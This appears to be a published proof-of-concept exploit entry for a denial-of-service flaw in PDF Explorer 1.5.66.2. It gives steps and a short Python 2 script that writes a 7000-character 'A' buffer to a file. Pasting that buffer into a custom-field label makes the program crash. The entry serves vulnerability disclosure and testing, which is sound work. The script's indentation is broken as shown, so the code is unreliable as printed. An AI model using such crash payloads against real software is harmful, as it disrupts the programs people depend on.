PDF Explorer 1.5.66.2 Denial Of Service

`# Exploit Title: PDF Explorer 1.5.66.2 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale  
# Discovey Date: 2018-09-12  
# Software Link: https://www.rttsoftware.com/files/PDFExplorerTrialSetup.zip  
# Tested Version: 1.5.66.2  
# Tested on OS: Windows 7 32-bit  
# Steps to Reproduce: Run the python exploit script, it will create a new   
# file with the name "exploit.txt". Copy the content from "exploit.txt".  
# Now start the program. When inside the program click "Database" > "Custom fields settings..."  
# Now paste the contents of "exploit.txt" into the fields:"Label"  
# Click the "OK" button and you will see a crash!   
  
#!/usr/bin/python  
  
buffer = "A" * 7000  
  
payload = buffer  
try:  
f=open("exploit.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`